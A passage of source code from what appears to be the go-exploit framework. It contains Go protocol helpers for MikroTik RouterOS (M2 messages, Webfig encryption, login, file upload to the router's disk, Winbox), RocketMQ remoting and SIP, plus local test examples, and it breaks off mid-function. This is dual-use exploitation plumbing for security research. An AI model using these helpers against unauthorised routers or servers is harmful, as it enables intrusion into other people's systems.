"\x5a\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x00\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x00\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e\x62\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x00\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x1f\x00\x00\x08\x7e\x9e\x07\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x00\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e" if !ParseM2Message([]byte(data), result) { t.Error("Failed M2 messaging parsing") } } func Test_MessageCreation(t *testing.T) { msg := NewM2Message() msg.SetTo(2, 2) msg.SetCommand(7) msg.SetRequestID(2) msg.SetReplyExpected(true) msg.AddU32(2, 12) msg.AddString(1, []byte("test")) data := msg.Serialize() readit := NewM2Message() if !ParseM2Message(data, readit) { t.Error("Failed M2 messaging parsing") } } func Test_FailingDatFileEntry(t *testing.T) { result := NewM2Message() data := "\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x01\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x02\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x0d\x74\x68\x69\x73\x20\x69\x73\x20\x75\x73\x65\x72\x31\x11\x00\x00\x21\x10\x77\x1e\xd0\x02\x57\xd6\x5c\x59\xc4\xba\x83\x1a\x86\x6e\x44\x0e\x01\x00\x00\x21\x05\x75\x73\x65\x72\x31" if !ParseM2Message([]byte(data), result) { t.Error("Failed M2 messaging parsing") } } ================================================ FILE: protocol/mikrotik/msg.go ================================================ // `msg.go` contains the logic for building, reading, accessing, and // serializing RouterOS M2 messages. package mikrotik import ( "encoding/binary" "github.com/vulncheck-oss/go-exploit/output" ) type M2Message struct { Bools map[uint32]bool U32s map[uint32]uint32 Strings map[uint32][]byte Raw map[uint32][]byte ArrayU32 map[uint32][]uint32 ArrayM2 map[uint32][]*M2Message } func NewM2Message() *M2Message { var m2 M2Message m2.Bools = make(map[uint32]bool) m2.U32s = make(map[uint32]uint32) m2.Strings = make(map[uint32][]byte) m2.Raw = make(map[uint32][]byte) m2.ArrayU32 = make(map[uint32][]uint32) m2.ArrayM2 = make(map[uint32][]*M2Message) return &m2 } const ( typeBoolean uint32 = 0 typeShortLength uint32 = 0x01000000 typeUint32 uint32 = 0x08000000 typeString uint32 = 0x20000000 typeRaw uint32 = 0x30000000 typeUint32Array uint32 = 0x88000000 typeMessageArray uint32 = 0xa8000000 ) const ( VarSysTo uint32 = 0x00ff0001 VarFrom uint32 = 0x00ff0002 VarReplyExpected uint32 = 0x00ff0005 VarRequestID uint32 = 0x00ff0006 VarCommand uint32 = 0x00ff0007 VarErrorCode uint32 = 0x00ff0008 VarErrorString uint32 = 0x00ff0009 VarSessionID uint32 = 0x00fe0001 ) func (msg M2Message) SetTo(to uint32, handler uint32) { uint32Slice := make([]uint32, 2) uint32Slice[0] = to uint32Slice[1] = handler msg.AddU32Array(VarSysTo, uint32Slice) } func (msg M2Message) SetCommand(command uint32) { msg.AddU32(VarCommand, command) } func (msg M2Message) SetRequestID(id uint32) { msg.AddU32(VarRequestID, id) } func (msg M2Message) SetReplyExpected(expected bool) { msg.AddBool(VarReplyExpected, expected) } func (msg M2Message) SetSessionID(id uint32) { msg.AddU32(VarSessionID, id) } func (msg M2Message) GetSessionID() uint32 { return msg.U32s[VarSessionID] } func (msg M2Message) AddBool(varname uint32, data bool) { msg.Bools[varname] = data } func (msg M2Message) AddU32(varname uint32, data uint32) { msg.U32s[varname] = data } func (msg M2Message) AddString(varname uint32, data []byte) { msg.Strings[varname] = make([]byte, len(data)) copy(msg.Strings[varname], data) } func (msg M2Message) AddRaw(varname uint32, data []byte) { msg.Raw[varname] = make([]byte, len(data)) copy(msg.Raw[varname], data) } func (msg M2Message) AddU32Array(varname uint32, data []uint32) { msg.ArrayU32[varname] = append(msg.ArrayU32[varname], data...) } func (msg M2Message) Serialize() []byte { serialized := []byte{} for varname, value := range msg.Bools { binaryBool := make([]byte, 4) if value { varname |= typeShortLength } binary.LittleEndian.PutUint32(binaryBool, varname) serialized = append(serialized, binaryBool...) } for varname, value := range msg.U32s { varname |= typeUint32 binaryUint32 := make([]byte, 4) if value > 255 { binary.LittleEndian.PutUint32(binaryUint32, varname) serialized = append(serialized, binaryUint32...) binary.LittleEndian.PutUint32(binaryUint32, value) serialized = append(serialized, binaryUint32...) } else { varname |= typeShortLength binary.LittleEndian.PutUint32(binaryUint32, varname) serialized = append(serialized, binaryUint32...) serialized = append(serialized, byte(value&0x000000ff)) } } for varname, value := range msg.Strings { varname |= typeString binaryString := make([]byte, 4) if len(value) > 255 { binary.LittleEndian.PutUint32(binaryString, varname) serialized = append(serialized, binaryString...) binaryLength := make([]byte, 2) binary.LittleEndian.PutUint16(binaryLength, uint16(len(value))) serialized = append(serialized, binaryLength...) } else { varname |= typeShortLength binary.LittleEndian.PutUint32(binaryString, varname) serialized = append(serialized, binaryString...) serialized = append(serialized, byte(len(value))) } serialized = append(serialized, value...) } for varname, value := range msg.Raw { varname |= typeRaw binaryString := make([]byte, 4) if len(value) > 255 { binary.LittleEndian.PutUint32(binaryString, varname) serialized = append(serialized, binaryString...) binaryLength := make([]byte, 2) binary.LittleEndian.PutUint16(binaryLength, uint16(len(value))) serialized = append(serialized, binaryLength...) } else { varname |= typeShortLength binary.LittleEndian.PutUint32(binaryString, varname) serialized = append(serialized, binaryString...) serialized = append(serialized, byte(len(value))) } serialized = append(serialized, value...) } for varname, value := range msg.ArrayU32 { varname |= typeUint32Array binaryArray := make([]byte, 4) binary.LittleEndian.PutUint32(binaryArray, varname) serialized = append(serialized, binaryArray...) binaryLength := make([]byte, 2) binary.LittleEndian.PutUint16(binaryLength, uint16(len(value))) serialized = append(serialized, binaryLength...) for _, entry := range value { binaryEntry := make([]byte, 4) binary.LittleEndian.PutUint32(binaryEntry, entry) serialized = append(serialized, binaryEntry...) } } // Skipping array of m2. I'm not sure I ever used this before // and doing it correctly takes some thought return serialized } func handleStringorRaw(varTypeName uint32, varName uint32, data *[]byte, storage *map[uint32][]byte) bool { if len(*data) <= 2 { return false } length := int(binary.LittleEndian.Uint16(*data)) if (varTypeName & typeShortLength) != 0 { length = int((*data)[0]) *data = (*data)[1:] } else { *data = (*data)[2:] } if len(*data) < length { return false } (*storage)[varName] = make([]byte, length) copy((*storage)[varName], *data) *data = (*data)[length:] return true } // this switch is cursed. it needs to be broke into manageable functions. func ParseM2Message(data []byte, msg *M2Message) bool { if len(data) < 4 { return false } if data[2] == 'M' && data[3] == '2' { // the message was passed in with the length + M2 header. Truncate // and skip m2length := int(data[0]) data = data[4:] data = data[:m2length] } for len(data) > 4 { varTypeName := binary.LittleEndian.Uint32(data) varType := varTypeName & 0xf8000000 varName := varTypeName & 0x00ffffff data = data[4:] switch varType { case typeBoolean: msg.Bools[varName] = (varTypeName & typeShortLength) != 0 case typeUint32: if (varTypeName & typeShortLength) != 0 { if len(data) == 0 { return false } msg.U32s[varName] = uint32(data[0]) data = data[1:] } else { if len(data) < 4 { return false } msg.U32s[varName] = binary.LittleEndian.Uint32(data) data = data[4:] } case typeString: ok := handleStringorRaw(varTypeName, varName, &data, &msg.Strings) if !ok { return false } case typeRaw: ok := handleStringorRaw(varTypeName, varName, &data, &msg.Raw) if !ok { return false } case typeUint32Array: if len(data) <= 2 { return false } arrayEntries := int(binary.LittleEndian.Uint16(data)) data = data[2:] if len(data) < (arrayEntries * 4) { return false } for i := 0; i < arrayEntries; i++ { msg.ArrayU32[varName] = append(msg.ArrayU32[varName], binary.LittleEndian.Uint32(data)) data = data[4:] } case typeMessageArray: if len(data) <= 2 { return false } length := int(binary.LittleEndian.Uint16(data)) if (varTypeName & typeShortLength) != 0 { length = int(data[0]) data = data[1:] } else { data = data[2:] } subdata := make([]byte, length) copy(subdata, data) subMsg := NewM2Message() msg.ArrayM2[varName] = append(msg.ArrayM2[varName], subMsg) // recursion... technically not safe. Not checking the return here either is // a bold choice. Mostly avoiding handling empty entries. _ = ParseM2Message(subdata, subMsg) data = data[length:] default: output.PrintfFrameworkError("Unhandled %x named %x\n", varType, varName) } } return true } ================================================ FILE: protocol/mikrotik/webfig.go ================================================ // `webfig.go` implements encryption negotiation and authentication against // the web interface (webfig) of RouterOS v6.45+. package mikrotik import ( "bytes" "crypto/rand" "crypto/rc4" "crypto/sha1" "encoding/binary" "fmt" "io" "mime/multipart" "net/http" "net/textproto" "net/url" "strings" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "golang.org/x/crypto/curve25519" "golang.org/x/text/encoding/charmap" ) // WebfigSession tracks the crypto for a given "session" which is associated // with an ID. A sequence number must also be tracked. type WebfigSession struct { ID uint32 Seq int Rx *rc4.Cipher Tx *rc4.Cipher } // Reverse the provided slice and return it back to the caller. func reverseSlice(slice []byte) []byte { copied := make([]byte, len(slice)) copy(copied, slice) for i := range len(copied) / 2 { j := len(copied) - 1 - i copied[i], copied[j] = copied[j], copied[i] } return copied } // converts binary data into the expected latin-1 format. 0 is replaced by 0xc480. func webEncode(data []byte) string { decoder := charmap.ISO8859_1.NewDecoder() decodedData, _ := decoder.Bytes(data) convertedData := bytes.ReplaceAll(decodedData, []byte{0}, []byte{0xc4, 0x80}) return string(convertedData) } // converts the latin-1ish data back to binary. 0xc480 is replaced by 0. func webDecode(data string) string { decodedData := bytes.ReplaceAll([]byte(data), []byte{0xC4, 0x80}, []byte{0x00}) latin1Encoder := charmap.ISO8859_1.NewEncoder() decodedData, _ = latin1Encoder.Bytes(decodedData) return string(decodedData) } // Generate a key pair suitable for Curve25519 crypto. // return privatekey, publickey. func generateKeyPair() ([]byte, []byte) { // generate a private key using random data privateKey := make([]byte, 32) _, _ = rand.Read(privateKey) // MikroTik uses Curve25515 Donna, so tweak the key appropriately privateKey[0] &= 248 privateKey[31] &= 127 privateKey[31] |= 64 // Requiring the reversing of crypto materials is something I noted // back in 2019: // https://github.com/tenable/routeros/blob/c5d42403135e7d826fbddd85b788401b0f40d90d/common/jsproxy_session.cpp#L316 // I really don't know why. Margin did the same in their python impl, so // it can't be wrong, right? publicKey, _ := curve25519.X25519(reverseSlice(privateKey), curve25519.Basepoint) return privateKey, publicKey } func generateSharedKey(privateKey []byte, publicKey []byte) []byte { sharedKey, _ := curve25519.X25519(reverseSlice(privateKey), reverseSlice(publicKey)) return reverseSlice(sharedKey) } // Sends the provided public key as the first step to encryption negotiation. // The function receives back a payload that it pushes through webDecode. func sendPublicKey(webfigURL string, publicKey []byte) (string, bool) { payload := []byte{} payload = append(payload, []byte(strings.Repeat("\x00", 8))...) payload = append(payload, reverseSlice(publicKey)...) resp, body, ok := protocol.HTTPSendAndRecv("POST", webfigURL, webEncode(payload)) if !ok { output.PrintfFrameworkError("Failed to send the public key to %s", webfigURL) return "", false } if resp.StatusCode != http.StatusOK { output.PrintfFrameworkError("Unexpected status code (%d) when sending the public key ", resp.StatusCode) return "", false } return webDecode(body), true } // Initializes the rc4 send/recv states using the negotiated shared key. The // key is addtionally pushed through MSChapv2 key generation logic. // // At the end, the rc4 engines are ready to be used for communication. func initRC4(session *WebfigSession, sharedKey []byte) { // init the recv side rxKey := string(sharedKey) + strings.Repeat("\x00", 40) + "On the client side, this is the receive key; on the server side, it is the send key." + strings.Repeat("\xf2", 40) rxSha := sha1.Sum([]byte(rxKey)) rxFinial := rxSha[:16] session.Rx, _ = rc4.NewCipher(rxFinial) // init the send side txKey := string(sharedKey) + strings.Repeat("\x00", 40) + "On the client side, this is the send key; on the server side, it is the receive key." + strings.Repeat("\xf2", 40) txSha := sha1.Sum([]byte(txKey)) txFinal := txSha[:16] session.Tx, _ = rc4.NewCipher(txFinal) // routers uses rc4 drop 768 drop768 := strings.Repeat("\x00", 768) dst := make([]byte, len(drop768)) session.Rx.XORKeyStream(dst, []byte(drop768)) session.Tx.XORKeyStream(dst, []byte(drop768)) } // Negotiates encryption with the remote Webfig described by `webfigURL`. Note that // `webfigURL` is generally created like so: // // webfigURL := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/jsproxy") // // But we didn't want to introduce a config dependency here. func NegotiateEncryption(webfigURL string, session *WebfigSession) bool { clientPrivKey, clientPubKey := generateKeyPair() body, ok := sendPublicKey(webfigURL, clientPubKey) if !ok { return false } if len(body) != 40 { output.PrintfFrameworkError("Unexpected public key response size") return false } // values that will be needed for the remainder of the session session.Seq = 1 session.ID = binary.BigEndian.Uint32([]byte(body[0:4])) serverPubKey := body[8:] sharedKey := generateSharedKey(clientPrivKey, []byte(serverPubKey)) initRC4(session, sharedKey) return true } // Provided an M2Message this function will apply the various paddings/headers, // encrypt it, and send it to the remote target described by `webfigURL`. The function // returns the router's M2Message response. func SendEncrypted(webfigURL string, msg *M2Message, session *WebfigSession) (*M2Message, bool) { retMsg := NewM2Message() // serialize the m2 and encrypt it. The message requires 8 bytes of padding m2Msg := []byte("M2") m2Msg = append(m2Msg, (msg.Serialize())...) m2Msg = append(m2Msg, []byte(strings.Repeat("\x20", 8))...) encrypted := make([]byte, len(m2Msg)) session.Tx.XORKeyStream(encrypted, m2Msg) // Create a header for the encrypted message it goes: // [4 bytes ID][4 bytes sequence] idheader := make([]byte, 4) seqheader := make([]byte, 4) binary.BigEndian.PutUint32(idheader, session.ID) binary.BigEndian.PutUint32(seqheader, uint32(session.Seq)) // sequence can now be incremented session.Seq += len(m2Msg) // build the final payload finalMsg := []byte{} finalMsg = append(finalMsg, idheader...) finalMsg = append(finalMsg, seqheader...) finalMsg = append(finalMsg, encrypted...) // send the contents to Mikrotik headers := map[string]string{ "Content-Type": "msg", } resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", webfigURL, string(finalMsg), headers) if !ok { return retMsg, false } if resp.StatusCode != http.StatusOK { return retMsg, false } // the first 8 bytes (session, seq id) are not interesting to us body = body[8:] // decrypt the payload and strip the padding dst := make([]byte, len(body)) session.Rx.XORKeyStream(dst, []byte(body)) dst = dst[:len(dst)-8] // attempt to parse the decrypted message ok = ParseM2Message(dst, retMsg) if !ok { output.PrintfFrameworkError("Failed to parse M2 message") return retMsg, false } return retMsg, true } // Given a username and password, this function will authenticate with // the remote router. func Login(webfigURL string, username string, password string, session *WebfigSession) bool { // create the login M2 msg := NewM2Message() msg.AddString(1, []byte(username)) msg.AddString(3, []byte(password)) respMsg, ok := SendEncrypted(webfigURL, msg, session) if !ok { output.PrintfFrameworkStatus("Authentication failed") return false } if len(respMsg.Strings) != 0 { value, ok := respMsg.Strings[0x15] if ok { output.PrintfFrameworkStatus("Authenticated to a %s", string(value)) } } return true } // Upload a file via webfig. The expected url is: http[s]://
    :/jsproxy // The file will be written to /rw/disk and be viewable from the Webfig disk menu. func FileUpload(webfigURL string, filename string, contents string, session *WebfigSession) bool { orginalName := filename filename += strings.Repeat("\x20", 8) encrypted := make([]byte, len(filename)) session.Tx.XORKeyStream(encrypted, []byte(filename)) // track length before we encode it sequence := session.Seq session.Seq += len(encrypted) encodedAndEncrypted := webEncode(encrypted) // Create a header for the encrypted message it goes: // [4 bytes ID][4 bytes sequence] idheader := make([]byte, 4) seqheader := make([]byte, 4) binary.BigEndian.PutUint32(idheader, session.ID) binary.BigEndian.PutUint32(seqheader, uint32(sequence)) // build the final payload finalMsg := []byte{} finalMsg = append(finalMsg, idheader...) finalMsg = append(finalMsg, seqheader...) finalMsg = append(finalMsg, encodedAndEncrypted...) // write to a multipart field var multipartFile bytes.Buffer writer := multipart.NewWriter(&multipartFile) header := make(textproto.MIMEHeader) header.Set("Content-Disposition", fmt.Sprintf(`form-data; name="file"; filename="%s"`, orginalName)) header.Set("Content-Type", "form-data") filedata, _ := writer.CreatePart(header) _, _ = io.Copy(filedata, strings.NewReader(contents)) writer.Close() // Craft a raw HTTP request req, err := http.NewRequest(http.MethodPost, webfigURL+"/upload?"+url.QueryEscape(string(finalMsg)), &multipartFile) if err != nil { return false } req.Header.Set("Content-Type", writer.FormDataContentType()) req.Header.Set("User-Agent", protocol.GlobalUA) client := &http.Client{} resp, _, ok := protocol.DoRequest(client, req) if !ok { return false } if resp.StatusCode != http.StatusOK { output.PrintfFrameworkError("Received an unexpected HTTP status code %d.", resp.StatusCode) return false } return true } ================================================ FILE: protocol/mikrotik/winbox.go ================================================ // `winbox.go` contains the logic for sending unencrypted M2 messages to // the RouterOS Winbox port (8291) package mikrotik import ( "encoding/binary" "net" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) func SendM2(conn net.Conn, msg *M2Message) bool { // craft m2 message m2Payload := []byte("M2") m2Payload = append(m2Payload, (msg.Serialize())...) // add size in front of the message outputSize := make([]byte, 2) binary.BigEndian.PutUint16(outputSize, uint16(len(m2Payload))) sizeAndPayload := []byte{} sizeAndPayload = append(sizeAndPayload, outputSize...) sizeAndPayload = append(sizeAndPayload, m2Payload...) // add the pkt header (1 byte length, 1 byte messges) // not that this doesn't work for >0xff, and should be reworked pktHeader := make([]byte, 2) pktHeader[0] = byte(len(sizeAndPayload)) pktHeader[1] = 1 finalMsg := []byte{} finalMsg = append(finalMsg, pktHeader...) finalMsg = append(finalMsg, sizeAndPayload...) return protocol.TCPWrite(conn, finalMsg) } func ReceiveM2(conn net.Conn, msg *M2Message) bool { msgSize, ok := protocol.TCPReadAmount(conn, 4) if !ok { return false } msgSize = msgSize[2:] readSize := int(binary.BigEndian.Uint16(msgSize)) if readSize == 0 { output.PrintfFrameworkError("The server provided an invalid message length") return false } finalBuffer := []byte{} loop := 0 for readSize > 0xff { step := 0xff if loop == 0 { step -= 2 } msgBytes, ok := protocol.TCPReadAmount(conn, step) if !ok { return false } loop++ readSize -= step finalBuffer = append(finalBuffer, msgBytes...) // this should be two bytes of padding msgBytes, ok = protocol.TCPReadAmount(conn, 2) if !ok { return false } if msgBytes[1] != 0xff { output.PrintFrameworkError("Padding is off") return false } } msgBytes, ok := protocol.TCPReadAmount(conn, readSize) if !ok { return false } finalBuffer = append(finalBuffer, msgBytes...) if finalBuffer[0] != 'M' || finalBuffer[1] != '2' { output.PrintFrameworkError("Missing m2 in response") return false } return ParseM2Message(finalBuffer, msg) } ================================================ FILE: protocol/rocketmq/remoting.go ================================================ // Package rocketmq is a very basic (and incomplete) implementation of RocketMQ remoting protocol package rocketmq import ( "encoding/binary" "encoding/json" "math" "net" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) // Creates a RocketMQ remoting message. Format described here: // https://github.com/apache/rocketmq/blob/bd0e9c09db9748f7f74a0c707579142dccf30afc/remoting/src/main/java/org/apache/rocketmq/remoting/protocol/RemotingCommand.java#L473 // // [4 byte total length] // [4 byte header length] (includes protocol type flag) // [n bytes header data] // [n bytes body data] // // The code can be found here: // https://github.com/apache/rocketmq/blob/c78061bf6ca5f35452510ec4107c46735c51c316/test/src/test/resources/schema/protocol/common.protocol.RequestCode.schema // // This can return 'nil' if the requested payload is too large or marshalling the json header fails. func CreateMqRemotingMessage(payload string, code int, version int) []byte { // Check the payload isn't overly large. I don't really see a scenario where 16 million bytes is // needed. Heck, I don't see needing more than 1k for the current exploitation use case. if len(payload) > int(math.Pow(2, 24)) { output.PrintFrameworkError("Payload size exceeded artificial cap.") return nil } mqHeader := map[string]any{ "code": code, "flag": 0, "language": "JAVA", "opaque": 0, "serializeTypeCurrentRPC": "JSON", "version": version, } mqHeaderBytes, err := json.Marshal(mqHeader) if err != nil { // this should never be reached output.PrintFrameworkError("Failed to marshal mqHeader") return nil } // build the total length field totalLengthField := make([]byte, 4) length := len(payload) + len(mqHeaderBytes) + 4 binary.BigEndian.PutUint32(totalLengthField, uint32(length)) // build the header length field headerLengthField := make([]byte, 4) binary.BigEndian.PutUint32(headerLengthField, uint32(len(mqHeaderBytes))) // create the full message message := make([]byte, 0) message = append(message, totalLengthField...) message = append(message, headerLengthField...) message = append(message, mqHeaderBytes...) message = append(message, []byte(payload)...) return message } // Reads a remoting message from the remote target. func ReadMqRemotingResponse(conn net.Conn) ([]byte, []byte, bool) { msgSize, ok := protocol.TCPReadAmount(conn, 4) if !ok { return nil, nil, false } readSize := int(binary.BigEndian.Uint32(msgSize)) if readSize == 0 { output.PrintFrameworkError("The server provided an invalid message length") return nil, nil, false } msg, ok := protocol.TCPReadAmount(conn, readSize) if !ok { return nil, nil, false } headerSize := int(binary.BigEndian.Uint32(msg[:4])) if (headerSize + 4) > len(msg) { output.PrintFrameworkError("Invalid remoting response") return nil, nil, false } header := msg[4 : headerSize+4] body := msg[headerSize+4:] return header, body, true } ================================================ FILE: protocol/rocketmq/remoting_test.go ================================================ package rocketmq import ( "math" "strings" "testing" ) func Test_MaxSize(t *testing.T) { msg := strings.Repeat("A", int(math.Pow(2, 24))+1) mqMsg := CreateMqRemotingMessage(msg, 112, 1) if mqMsg != nil { t.Error("msg size should have exceeded artificial cap") } msg = strings.Repeat("A", int(math.Pow(2, 24))) mqMsg = CreateMqRemotingMessage(msg, 112, 1) if mqMsg == nil { t.Error("msg size should not have exceeded the artificial cap") } } ================================================ FILE: protocol/sip/examples/README.md ================================================ # SIP examples ## Usage Start the local Asterisk server and run a example. ```sh cd protocol/sip/examples docker compose up -d go run ping/main.go # go run tcp/main.go # go run call/main.go ``` ================================================ FILE: protocol/sip/examples/call/main.go ================================================ // This example registers an endpoint (user authentication) in a server // and starts a call (only the SIP related part). package main import ( sipgo "github.com/emiago/sipgo/sip" "github.com/icholy/digest" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/protocol/sip" ) const ( host = "127.0.0.1" fromUser = "john.doe" pass = "password" toUser = "dembele" ) func main() { port := sip.DefaultPorts[sip.UDP] conn, ok := protocol.UDPConnect(host, port) if !ok { output.PrintfFrameworkError("Connecting to server %s:%d", host, port) return } defer conn.Close() reqOpts := sip.NewSipRequestOpts{ Port: port, User: fromUser, ToUser: fromUser, } req, ok := sip.NewSipRequest(sipgo.REGISTER, host, &reqOpts) if !ok { output.PrintfFrameworkError("Creating REGISTER request to %s with options %+v", host, reqOpts) return } resp, ok := sip.SendAndReceiveUDP(conn, req) if !ok { output.PrintfFrameworkError("Sending REGISTER request %s", req.String()) return } if resp.StatusCode != sipgo.StatusUnauthorized { output.PrintfFrameworkError("Unexpected response %d (%s) to REGISTER request", resp.StatusCode, resp.Reason) return } wwwAuth := resp.GetHeader("WWW-Authenticate") chal, err := digest.ParseChallenge(wwwAuth.Value()) if err != nil { output.PrintfFrameworkError("Parsing WWW-Authenticate header: %s", err) return } cred, _ := digest.Digest(chal, digest.Options{ Method: req.Method.String(), URI: host, Username: fromUser, Password: pass, }) newReq := req.Clone() authHeader := sipgo.NewHeader("Authorization", cred.String()) newReq.AppendHeader(authHeader) cseqHeader := sipgo.CSeqHeader{SeqNo: uint32(2), MethodName: sipgo.REGISTER} newReq.ReplaceHeader(&cseqHeader) resp, ok = sip.SendAndReceiveUDP(conn, newReq) if !ok { output.PrintfFrameworkError("Sending REGISTER request with Authorization header %s", newReq.String()) return } if resp.StatusCode != sipgo.StatusOK { output.PrintfFrameworkError("Unexpected response %d (%s) to REGISTER request with Authorization header", resp.StatusCode, resp.Reason) return } reqOpts = sip.NewSipRequestOpts{ Port: port, ToUser: toUser, User: fromUser, } req, ok = sip.NewSipRequest(sipgo.INVITE, host, &reqOpts) if !ok { output.PrintfFrameworkError("Creating INVITE request to %s with options %+v", host, reqOpts) return } cred, _ = digest.Digest(chal, digest.Options{ Method: sipgo.INVITE.String(), URI: host, Username: fromUser, Password: pass, }) authHeader = sipgo.NewHeader("Authorization", cred.String()) req.AppendHeader(authHeader) resp, ok = sip.SendAndReceiveUDP(conn, req) if !ok { output.PrintfFrameworkError("Sending INVITE request %s", req.String()) return } // Not found is expected here, as we are not actually calling a real user. if resp.StatusCode == sipgo.StatusNotFound { output.PrintfFrameworkSuccess("Response (INVITE): %s", resp.String()) } else { output.PrintfFrameworkError("Unexpected response (INVITE): %s", resp.String()) } } ================================================ FILE: protocol/sip/examples/docker-compose.yml ================================================ name: go-exploit-examples services: asterisk: image: mlan/asterisk network_mode: bridge # For testing cap_add: - sys_ptrace # For testing ports: - "5060:5060/udp" # SIP UDP - "5060:5060" # SIP TCP - "5061:5061" # SIP TLS - "10000-10099:10000-10099/udp" # RTP environment: - HOSTNAME=asterisk.${DOMAIN-docker.localhost} ================================================ FILE: protocol/sip/examples/ping/main.go ================================================ // This example checks if a UDP server is up. // // The OPTION method is used to discover the server capabilities: // - https://datatracker.ietf.org/doc/html/rfc3261#section-11 package main import ( sipgo "github.com/emiago/sipgo/sip" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/protocol/sip" ) const ( host = "127.0.0.1" // Most of the times the servers answer without them. fromUser = "bob" toUser = "alice" ) func main() { port := sip.DefaultPorts[sip.UDP] conn, ok := protocol.UDPConnect(host, port) if !ok { output.PrintfFrameworkError("Connecting to server %s:%d", host, port) return } defer conn.Close() reqOpts := sip.NewSipRequestOpts{ Port: port, ToUser: toUser, User: fromUser, } req, ok := sip.NewSipRequest(sipgo.OPTIONS, host, &reqOpts) if !ok { output.PrintfFrameworkError("Creating request to %s with options %+v", host, reqOpts) return } resp, ok := sip.SendAndReceiveUDP(conn, req) if ok { output.PrintfFrameworkSuccess("Server is up, response: %s", resp.String()) } else { output.PrintfFrameworkError("Sending request %s", req.String()) } } ================================================ FILE: protocol/sip/examples/tcp/main.go ================================================ // This example sends an OPTIONS request over TCP (or TLS). package main import ( sipgo "github.com/emiago/sipgo/sip" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/protocol/sip" ) const ( host = "127.0.0.1" useTLS = true ) func main() { transport := sip.TCP if useTLS { transport = sip.TLS } port := sip.DefaultPorts[transport] conn, ok := protocol.MixedConnect(host, port, useTLS) if !ok { output.PrintfFrameworkError("Connecting to server %s:%d", host, port) return } defer conn.Close() reqOpts := sip.NewSipRequestOpts{ Port: port, Transport: transport, } req, ok := sip.NewSipRequest(sipgo.OPTIONS, host, &reqOpts) if !ok { output.PrintfFrameworkError("Creating request to %s with options %+v", host, reqOpts) return } resp, ok := sip.SendAndReceiveTCP(conn, req) if ok { output.PrintfFrameworkSuccess("Response: %s", resp.String()) } else { output.PrintfFrameworkError("Sending request %s", req.String()) } } ================================================ FILE: protocol/sip/helper.go ================================================ // Package sip is a very basic (and incomplete) implementation of SIP messaging protocol. // // Based on the sipgo library, we are only adding some helpers useful in the context of exploitation. // For example, we prefer to avoid the complexity of concepts like transactions or dialogs. // // References: // - https://github.com/emiago/sipgo // - https://datatracker.ietf.org/doc/html/rfc3261 // - https://datatracker.ietf.org/doc/html/rfc3311 // - https://datatracker.ietf.org/doc/html/rfc3581 // - https://datatracker.ietf.org/doc/html/rfc3265 // - https://datatracker.ietf.org/doc/html/rfc7118 package sip import ( "bufio" _ "embed" "fmt" "io" "net" "strconv" "strings" "time" "github.com/emiago/sipgo/sip" "github.com/google/uuid" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/random" ) const ( // SIP over UDP message size should be lower than 1300 bytes. // https://datatracker.ietf.org/doc/html/rfc3261#section-18.1.1 UDPMessageLength = 1300 errMsgRequiredParam = "Required parameter: %s" DefaultMaxForwards = 70 DefaultCSeq = 1 DefaultInviteContentType = "application/sdp" DefaultMessageContentType = "text/plain" DefaultMessageBodyContent = "Hello, this is a test message." DefaultInfoContentType = "application/dtmf-relay" DefaultInfoBodyContent = "Signal=1Signal=1\nDuration=100" DefaultExpiresHeader = 3600 DefaultRackCSeq = 1 DefaultRackInviteCSeq = 314159 defaultTransport = "UDP" ContentTypePidf = "application/pidf+xml" // Even though the specification requires "\r\n", it is common to see // implementations using "\n" as a line ending. // https://datatracker.ietf.org/doc/html/rfc3261#section-7.5 sipLineEnd = "\r\n" sipLineEndAlt = "\n" ) // GlobalUA is the default User-Agent for all SIP go-exploit comms. // //go:embed user-agent.txt var GlobalUA string // Supported transport protocol. type TransportType int const ( UNKNOWN TransportType = iota UDP TCP TLS WS WSS ) func (t TransportType) String() string { return [...]string{"UNKNOWN", "UDP", "TCP", "TLS", "WS", "WSS"}[t] } // Default server ports for each transport protocol. var DefaultPorts = map[TransportType]int{ UDP: sip.DefaultUdpPort, TCP: sip.DefaultTcpPort, TLS: sip.DefaultTlsPort, WS: sip.DefaultWsPort, WSS: sip.DefaultWssPort, } // Sends a TCP/TLS message and returns the response. func SendAndReceiveTCP(conn net.Conn, req sip.Message) (*sip.Response, bool) { if conn == nil { output.PrintfFrameworkError(errMsgRequiredParam, "conn") return nil, false } if req == nil { output.PrintfFrameworkError(errMsgRequiredParam, "msg") return nil, false } ok := 